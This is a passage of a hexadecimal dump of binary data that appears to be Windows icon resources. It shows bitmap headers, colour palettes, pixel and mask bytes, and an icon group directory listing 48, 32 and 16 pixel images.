00002a30 84 70 70 70 70 70 70 70 6a 99 03 49 78 21 78 88 |.pppppppj..Ix!x.|
00002a40 28 4a 9a 31 45 db db db db 15 07 07 07 07 07 07 |(J.1E...........|
00002a50 07 07 9a 07 17 9a 07 9a 07 ab 9a 07 07 9a 07 07 |................|
00002a60 07 07 07 07 07 07 07 07 15 28 03 78 08 9a 9a 9a |.........(.x....|
00002a70 9a 9a 31 26 db db db db db 70 4e 4e 4e 4e 4e 4e |..1&.....pNNNNNN|
00002a80 4e 4e 9a 17 c0 56 4e 9a 17 91 4c 4e 4e 9a 70 70 |NN...VN...LNN.pp|
00002a90 b8 4e 4e 4e 4e 4e 4e 4e 70 28 03 98 08 9a 9a 9a |.NNNNNNNp(......|
00002aa0 9a 56 4b db db db db db db b8 b4 b4 b4 b4 b4 b4 |.VK.............|
00002ab0 b4 b4 9a 9a 56 6f b4 9a 9a af c1 b4 b4 9a 9a 9a |....Vo..........|
00002ac0 8d b4 b4 b4 b4 b4 b4 b4 b8 28 6b 98 08 9a 9a 9a |.........(k.....|
00002ad0 56 9c db db db db db db db b4 22 22 22 22 22 22 |V.........""""""|
00002ae0 22 22 22 22 22 22 22 22 22 22 22 22 22 22 22 22 |""""""""""""""""|
00002af0 22 22 22 22 22 22 22 22 b4 28 6b 98 08 9a 9a 56 |"""""""".(k....V|
00002b00 9c db db db db db db db db 9f 5b 5b 5b 5b 5b 5b |..........[[[[[[|
00002b10 5b 5b 5b 5b 5b 5b 5b 5b 5b 5b 5b 5b 5b 5b 5b 5b |[[[[[[[[[[[[[[[[|
00002b20 5b 5b 5b 5b 5b 5b 5b 5b 9f 9b 6b 78 3a 9a 9a 8c |[[[[[[[[..kx:...|
00002b30 db db db db db db db db db 5b c2 c2 c2 c2 c2 c2 |.........[......|
00002b40 c2 c2 c2 c2 c2 c2 c2 c2 c2 c2 c2 c2 c2 c2 c2 c2 |................|
00002b50 c2 c2 c2 c2 c2 c2 c2 c2 5b 28 03 6b 9a 9a 57 db |........[(.k..W.|
00002b60 db db db db db db db db db db db db db db db db |................|
00002b70 db db db 89 96 96 96 03 03 03 03 03 03 03 03 03 |................|
00002b80 96 96 96 96 96 96 3f 03 6b 28 3f 08 9a bc db db |......?.k(?.....|
00002b90 db db db db db db db db db db db db db db db db |................|
00002ba0 db db db d2 69 69 69 69 08 08 08 08 08 08 08 69 |....iiii.......i|
00002bb0 69 69 69 69 69 69 4f 08 08 7b 65 9a 13 db db db |iiiiiiO..{e.....|
00002bc0 db db db db db db db db db db db db db db db db |................|
00002bd0 db db db 43 5a 5a 5a 5a 5a 5a 5a 5a 5a 5a 5a 5a |...CZZZZZZZZZZZZ|
00002be0 5a 5a 5a 5a 5a 5a 5a 5a 1f 90 2c 1c db db db db |ZZZZZZZZ..,.....|
00002bf0 db db db db db db db db db db db db db db db db |................|
*
00002c20 db db db db db db db db ff ff ff ff ff ff 00 00 |................|
00002c30 ff ff ff ff ff ff 00 00 ff e0 00 00 00 03 00 00 |................|
00002c40 ff e0 00 00 00 03 00 00 ff e0 00 00 00 03 00 00 |................|
*
00002d20 80 00 00 00 00 03 00 00 80 00 00 00 00 03 00 00 |................|
*
00002d50 80 00 00 00 00 07 00 00 80 00 00 00 00 0f 00 00 |................|
00002d60 80 00 00 00 00 1f 00 00 80 00 00 00 00 3f 00 00 |.............?..|
00002d70 80 00 00 00 00 7f 00 00 80 00 00 00 00 ff 00 00 |................|
00002d80 80 00 00 00 01 ff 00 00 ff e0 00 00 03 ff 00 00 |................|
00002d90 ff e0 00 00 07 ff 00 00 ff e0 00 00 0f ff 00 00 |................|
00002da0 ff ff ff ff ff ff 00 00 28 00 00 00 20 00 00 00 |........(... ...|
00002db0 40 00 00 00 01 00 08 00 00 00 00 00 00 04 00 00 |@...............|
00002dc0 00 00 00 00 00 00 00 00 00 01 00 00 00 01 00 00 |................|
00002dd0 1a 06 52 00 86 86 86 00 52 42 86 00 0e 02 9a 00 |..R.....RB......|
00002de0 c2 c2 c2 00 4e 42 c6 00 2e 22 ae 00 e2 e2 e2 00 |....NB..."......|
00002df0 8a 82 be 00 36 26 72 00 12 02 7a 00 ba ba ba 00 |....6&r...z.....|
00002e00 ca c6 e6 00 76 6e be 00 72 6e 92 00 06 02 c2 00 |....vn..rn......|
00002e10 36 26 c6 00 4e 46 a6 00 1e 16 76 00 7e 7a d6 00 |6&..NF....v.~z..|
00002e20 2a 1e 9a 00 f2 f2 f2 00 96 92 d6 00 3e 32 ba 00 |*...........>2..|
00002e30 5a 52 9e 00 de da de 00 82 7a be 00 aa aa aa 00 |ZR.......z......|
00002e40 4e 42 92 00 d2 d2 d2 00 e6 e6 f2 00 0e 02 8a 00 |NB..............|
00002e50 1a 06 62 00 9e 9e aa 00 ae aa de 00 9a 9a de 00 |..b.............|
00002e60 0a 02 ba 00 36 2e b2 00 42 36 86 00 26 1e ba 00 |....6...B6..&...|
00002e70 82 7a ca 00 be ba de 00 92 92 92 00 ca ca ca 00 |.z..............|
00002e80 66 5e ba 00 32 22 ba 00 8a 82 ce 00 d2 ce e6 00 |f^..2"..........|
00002e90 06 02 d2 00 4e 3e c6 00 26 1a 86 00 2e 1e a6 00 |....N>..&.......|
00002ea0 9a 9a ca 00 4a 3e aa 00 da d6 ee 00 52 46 9a 00 |....J>......RF..|
00002eb0 ee ee ee 00 1e 0e 8e 00 1a 06 5a 00 4e 42 8e 00 |..........Z.NB..|
00002ec0 2e 1e 8e 00 ca ca e6 00 76 72 ca 00 5e 56 a6 00 |........vr..^V..|
00002ed0 fa fa fa 00 52 46 92 00 7e 7a d2 00 c2 be e2 00 |....RF..~z......|
00002ee0 62 5e c6 00 a2 9e d2 00 46 3a b2 00 4e 42 8a 00 |b^......F:..NB..|
00002ef0 1a 0e a6 00 32 22 b6 00 ea ea ea 00 1e 0e 82 00 |....2"..........|
00002f00 66 5e b6 00 2e 2a d2 00 7a 76 e6 00 2a 1e a2 00 |f^...*..zv..*...|
00002f10 da da da 00 ea ea f2 00 0e 02 96 00 1a 0a 6a 00 |..............j.|
00002f20 1a 0e ae 00 82 7e ca 00 b6 b6 ea 00 9a 9a 9a 00 |.....~..........|
00002f30 ca ca d2 00 92 8e ce 00 12 0e d6 00 26 1a 92 00 |............&...|
00002f40 da d6 f2 00 36 2a 96 00 62 56 b6 00 1a 06 56 00 |....6*..bV....V.|
00002f50 8e 8e 8e 00 c6 c6 c6 00 2e 22 b2 00 e6 e6 e6 00 |........."......|
00002f60 96 8e c2 00 0e 02 7e 00 c6 c6 ea 00 7a 72 c2 00 |......~.....zr..|
00002f70 72 6e 96 00 06 02 ca 00 22 1a 7e 00 7e 7a da 00 |rn......".~.~z..|
00002f80 2a 1e 9e 00 f6 f6 f6 00 de de de 00 82 7e c6 00 |*............~..|
00002f90 b6 b6 b6 00 4e 42 96 00 d6 d6 d6 00 e6 e6 f6 00 |....NB..........|
00002fa0 0e 02 8e 00 1a 0a 66 00 9e 9e b2 00 b2 ae e6 00 |......f.........|
00002fb0 96 96 e6 00 3e 32 8e 00 82 7a ce 00 96 96 96 00 |....>2...z......|
00002fc0 ce ce ce 00 62 5a c2 00 32 26 be 00 06 02 da 00 |....bZ..2&......|
00002fd0 42 3e d6 00 16 0e ba 00 66 5a ce 00 a2 9e ce 00 |B>......fZ......|
00002fe0 2a 1e 96 00 7e 76 ce 00 be ba e6 00 ee ee f6 00 |*...~v..........|
00002ff0 5e 56 ae 00 de da ea 00 fe fe fe 00 32 2e d6 00 |^V..........2...|
00003000 46 3e b2 00 2a 1e aa 00 46 3e ae 00 96 8e d2 00 |F>..*...F>......|
00003010 1e 0e 92 00 1a 06 5e 00 52 46 96 00 a2 9e d6 00 |......^.RF......|
00003020 1a 0e aa 00 2a 1a 86 00 ce ca e6 00 52 42 8a 00 |....*.......RB..|
00003030 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 |................|
*
000031d0 98 98 98 98 98 98 98 98 98 98 98 98 98 98 98 98 |................|
*
00003210 98 98 98 98 98 98 98 98 98 00 00 00 00 00 00 00 |................|
00003220 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 98 |................|
00003230 98 98 98 98 98 98 98 98 98 00 8a 8a 8a 8a 8a 8a |................|
00003240 8a 8a 8a 8a 8a 8a 8a 8a 8a 8a 8a 8a 8a 8a 00 98 |................|
00003250 98 98 98 98 98 98 98 98 98 5f 40 40 4b 0a 64 8a |........._@@K.d.|
00003260 8a 8a 8a 8a 8a 8a 8a 8a 8a 8a 8a 8a 8a 8a 5f 98 |.............._.|
00003270 98 98 98 98 98 98 98 98 98 3a 40 40 3c 65 65 83 |.........:@@<ee.|
00003280 40 40 40 40 8a 8a 8a 8a 8a 8a 8a 8a 8a 8a 3a 98 |@@@@..........:.|
00003290 98 98 98 98 98 98 98 98 98 3a 40 40 96 84 39 39 |.........:@@..99|
000032a0 89 40 40 40 40 40 40 8a 8a 8a 8a 8a 8a 8a 3a 98 |.@@@@@@.......:.|
000032b0 98 98 98 98 98 98 98 98 98 91 40 40 40 51 0d 74 |..........@@@Q.t|
000032c0 35 40 40 40 40 40 40 40 40 40 8a 87 8a 8a 91 98 |5@@@@@@@@@......|
000032d0 98 98 98 98 98 98 98 98 98 09 6d 6d 6d 6d 40 3d |..........mmmm@=|
000032e0 52 52 8e 6f 29 51 40 29 4c 14 1f 39 2f 8a 91 98 |RR.o)Q@)L..9/...|
000032f0 98 98 98 98 98 98 98 98 98 02 6d 6d 6d 6d 6d 6d |..........mmmmmm|
00003300 28 8d 3d 28 8c 03 03 52 52 4f 2c 6c 43 40 20 98 |(.=(...RRO,lC@ .|
00003310 98 98 98 98 98 98 98 98 98 47 6d 6d 6d 6d 6d 6d |.........Gmmmmmm|
00003320 1e 94 7a 6d 3d 48 25 22 22 28 59 96 40 40 20 98 |..zm=H%""(Y.@@ .|
00003330 98 98 98 98 98 98 98 98 98 47 15 15 15 15 15 15 |.........G......|
00003340 6d 42 54 0c 54 44 6d 6d 40 40 40 40 40 40 75 98 |mBT.TDmm@@@@@@u.|
00003350 98 98 98 98 98 98 98 98 98 47 15 15 15 15 15 15 |.........G......|
00003360 15 15 81 27 27 1e 6d 6d 6d 6d 6d 40 40 40 53 98 |...''.mmmmm@@@S.|
00003370 98 98 98 98 98 98 98 98 98 3b 15 15 15 15 15 15 |.........;......|
00003380 15 15 13 24 23 15 15 6d 6d 6d 6d 6d 40 40 53 98 |...$#..mmmmm@@S.|
00003390 98 98 98 98 98 98 98 98 98 3b 15 15 15 15 15 15 |.........;......|
000033a0 15 15 6b 0f 15 15 15 15 15 6d 6d 6d 6d 6d 26 98 |..k......mmmmm&.|
000033b0 98 98 98 98 98 98 98 98 98 1c 38 38 38 38 38 15 |..........88888.|
000033c0 15 15 80 69 66 15 15 15 15 15 15 6d 6d 6d 41 98 |...if......mmmA.|
000033d0 98 98 98 98 98 98 98 98 98 1c 38 38 38 38 38 38 |..........888888|
000033e0 38 38 5a 8b 56 15 15 15 15 15 15 15 6d 6d 1c 98 |88Z.V.......mm..|
000033f0 98 98 98 98 98 98 98 98 98 1c 38 38 38 38 38 38 |..........888888|
00003400 38 38 7f 4e 78 15 15 15 15 15 15 15 15 6d 1c 98 |88.Nx........m..|
00003410 98 98 98 98 98 98 98 98 98 71 50 50 50 50 50 50 |.........qPPPPPP|
00003420 50 50 30 4d 13 4a 38 15 15 15 15 15 15 15 71 98 |PP0M.J8.......q.|
00003430 98 98 98 98 98 98 98 98 98 18 2b 2b 2b 2b 2b 2b |..........++++++|
00003440 2b 2b 34 3e 2b 72 38 38 38 15 15 15 15 15 92 98 |++4>+r888.......|
00003450 12 12 12 12 12 12 12 12 12 12 12 12 12 12 12 12 |................|
00003460 12 12 12 12 12 12 38 38 38 38 15 38 07 4a 37 98 |......8888.8.J7.|
00003470 6a 5b 5b 5b 5b 5b 5b 5b 5b 88 5d 5b 5b 5b 5b 5b |j[[[[[[[[.][[[[[|
00003480 5b 5b 5b 5b 5b 6a 38 4a 6e 72 1d 2b 04 72 37 98 |[[[[[j8Jnr.+.r7.|
00003490 32 14 14 14 14 8a 14 14 14 8a 8a 45 14 8a 14 14 |2..........E....|
000034a0 14 14 14 14 14 32 4a 50 70 57 2a 01 60 58 32 98 |.....2JPpW*.`X2.|
000034b0 5b 6c 6c 6c 6c 8a 8a 93 6c 8a 6c 0c 67 8a 5e 5e |[llll...l.l.g.^^|
000034c0 6c 6c 6c 6c 6c 5b 4a 7c 1b 2a 7b 0b 19 79 98 98 |lllll[J|.*{..y..|
000034d0 14 33 33 33 33 8a 46 36 2e 8a 33 8f 8f 8a 8a 8a |.3333.F6..3.....|
000034e0 33 33 33 33 33 14 4a 2b 8a 8a 8a 8a 41 98 98 98 |33333.J+....A...|
000034f0 33 06 06 06 06 8a 06 86 16 8a 7d 73 85 8a 06 06 |3.........}s....|
00003500 06 06 06 06 06 33 4a 61 8a 8a 8a 68 98 98 98 98 |.....3Ja...h....|
00003510 06 49 49 49 49 8a 8a 5c 17 8a 8a 77 49 8a 8a 8a |.IIII..\...wI...|
00003520 49 49 49 49 49 06 4a 61 8a 8a 0e 98 98 98 98 98 |IIIII.Ja........|
00003530 2d 7e 7e 7e 7e 82 82 7e 7e 82 31 7e 7e 7e 7e 7e |-~~~~..~~.1~~~~~|
00003540 7e 7e 7e 7e 7e 2d 63 2b 8a 21 98 98 98 98 98 98 |~~~~~-c+.!......|
00003550 10 05 05 05 05 05 05 05 05 05 05 05 05 05 05 05 |................|
00003560 05 05 05 05 05 10 07 07 76 98 98 98 98 98 98 98 |........v.......|
00003570 98 98 98 98 98 98 98 98 98 11 1a 1a 1a 1a 1a 1a |................|
00003580 1a 1a 1a 1a 1a 1a 08 3f 98 98 98 98 98 98 98 98 |.......?........|
00003590 98 98 98 98 98 98 98 98 98 98 98 98 98 98 98 98 |................|
*
000035d0 ff ff ff ff ff ff ff ff ff 80 00 01 ff 80 00 01 |................|
000035e0 ff 80 00 01 ff 80 00 01 ff 80 00 01 ff 80 00 01 |................|
*
00003620 00 00 00 01 00 00 00 01 00 00 00 01 00 00 00 03 |................|
00003630 00 00 00 07 00 00 00 0f 00 00 00 1f 00 00 00 3f |...............?|
00003640 00 00 00 7f ff 80 00 ff ff ff ff ff ff ff ff ff |................|
00003650 28 00 00 00 10 00 00 00 20 00 00 00 01 00 08 00 |(....... .......|
00003660 00 00 00 00 00 01 00 00 00 00 00 00 00 00 00 00 |................|
00003670 00 01 00 00 00 01 00 00 02 02 02 00 82 82 82 00 |................|
00003680 0e 02 82 00 4e 46 a6 00 c2 c2 c2 00 0a 02 b6 00 |....NF..........|
00003690 92 8a ce 00 7a 72 a6 00 e2 e2 e2 00 ae aa d2 00 |....zr..........|
000036a0 36 2a 9e 00 82 7e ce 00 2a 1e b2 00 76 6e c2 00 |6*...~..*...vn..|
000036b0 f2 f2 f2 00 22 16 7a 00 b2 b2 ea 00 42 3a 66 00 |....".z.....B:f.|
000036c0 8a 82 aa 00 ce ce e6 00 82 7a ae 00 56 4e b6 00 |.........z..VN..|
000036d0 36 26 ca 00 9e 9e 9e 00 82 7a b2 00 a2 9e ce 00 |6&.......z......|
000036e0 ea ea ea 00 fa fa fa 00 2a 1e a2 00 be be e2 00 |........*.......|
000036f0 8a 82 b2 00 2e 22 56 00 0e 02 92 00 5a 4e a6 00 |....."V.....ZN..|
00003700 d2 d2 d2 00 06 02 d2 00 8a 8a e6 00 b2 b2 ee 00 |................|
00003710 8a 82 ae 00 8e 8a d6 00 be be be 00 4a 3e aa 00 |............J>..|
00003720 36 2e ba 00 82 7a ba 00 f6 f6 fa 00 26 1a 8a 00 |6....z......&...|
00003730 ba b6 e6 00 6e 6e 6e 00 e2 de ee 00 8a 7e aa 00 |....nnn......~..|
00003740 3a 2a d6 00 86 7e b2 00 ea ea f2 00 3e 36 66 00 |:*...~......>6f.|
00003750 1e 0e 96 00 4e 46 aa 00 ca ca ca 00 06 02 c6 00 |....NF..........|
00003760 e6 e6 e6 00 ae aa d6 00 3a 2e ae 00 7a 7a ea 00 |........:...zz..|
00003770 32 22 b6 00 f6 f6 f6 00 22 1a 82 00 4a 42 66 00 |2"......"...JBf.|
00003780 8e 82 aa 00 d6 d6 ee 00 56 4e be 00 36 26 ce 00 |........VN..6&..|
00003790 ee ee ee 00 fe fe fe 00 2e 1e a2 00 32 22 5e 00 |............2"^.|
000037a0 0e 02 9a 00 5e 52 a2 00 d6 d6 d6 00 06 02 e2 00 |....^R..........|
000037b0 8e 82 ae 00 8e 8a da 00 86 7e b6 00 b6 b6 ea 00 |.........~......|
000037c0 86 7e ae 00 8a 7e b2 00 00 00 00 00 00 00 00 00 |.~...~..........|
000037d0 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 |................|
*
00003a70 00 00 00 00 00 00 00 00 54 54 54 49 41 11 35 41 |........TTTIA.5A|
00003a80 41 41 41 41 41 41 41 1f 54 54 54 12 1b 21 02 19 |AAAAAAA.TTT..!..|
00003a90 47 47 47 47 47 47 47 12 54 54 54 12 1b 34 29 36 |GGGGGGG.TTT..4)6|
00003aa0 13 1b 1b 1b 47 30 47 26 54 54 54 31 3f 3f 1b 06 |....G0G&TTT1??..|
00003ab0 4a 3c 15 0d 1c 20 29 26 54 54 54 52 3f 3f 3f 3f |J<... )&TTTR????|
00003ac0 2a 27 0c 44 0b 0b 1d 26 54 54 54 52 0e 0e 0e 0e |*'.D...&TTTR....|
00003ad0 2e 05 4f 3f 3f 1b 1b 1e 54 54 54 52 0e 0e 0e 0e |..O??...TTTR....|
00003ae0 0e 39 43 0e 3f 3f 3f 1e 54 54 54 14 46 46 46 0e |.9C.???.TTT.FFF.|
00003af0 51 23 24 0e 0e 0e 3f 33 54 54 54 14 46 46 46 46 |Q#$...?3TTT.FFFF|
00003b00 10 4d 3d 0e 0e 0e 0e 33 54 54 54 18 1a 1a 1a 1a |.M=....3TTT.....|
00003b10 1a 25 46 46 0e 0e 0e 50 2d 0f 0f 0f 0f 0f 0f 0f |.%FF...P-.......|
00003b20 0f 40 1a 08 38 04 22 14 1c 1c 1c 1c 1c 1c 1c 1c |.@..8.".........|
00003b30 1c 1c 1a 38 01 2f 17 07 3e 3e 3e 3e 3e 3e 3e 3e |...8./..>>>>>>>>|
00003b40 3e 3e 1a 28 47 47 2c 4b 16 32 32 32 32 32 32 32 |>>.(GG,K.2222222|
00003b50 32 45 1a 04 47 47 09 54 54 54 54 2b 3a 08 08 08 |2E..GG.TTTT+:...|
00003b60 3a 3a 1a 4c 47 09 54 54 54 54 54 0a 03 03 03 03 |::.LG.TTTTT.....|
00003b70 03 03 03 03 3b 54 54 54 e0 00 00 00 e0 00 00 00 |....;TTT........|
00003b80 e0 00 00 00 e0 00 00 00 e0 00 00 00 e0 00 00 00 |................|
*
00003ba0 00 00 00 00 00 00 00 00 00 00 00 00 00 01 00 00 |................|
00003bb0 e0 03 00 00 e0 07 00 00 00 00 01 00 03 00 30 30 |..............00|
00003bc0 00 00 01 00 08 00 a8 0e 00 00 01 00 20 20 00 00 |............ ..|
00003bd0 01 00 08 00 a8 08 00 00 02 00 10 10 00 00 01 00 |................|
00003be0 08 00 68 05 00 00 03 00 00 00 00 00 00 00 00 00 |..h.............|
00003bf0 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 |................|
00003c00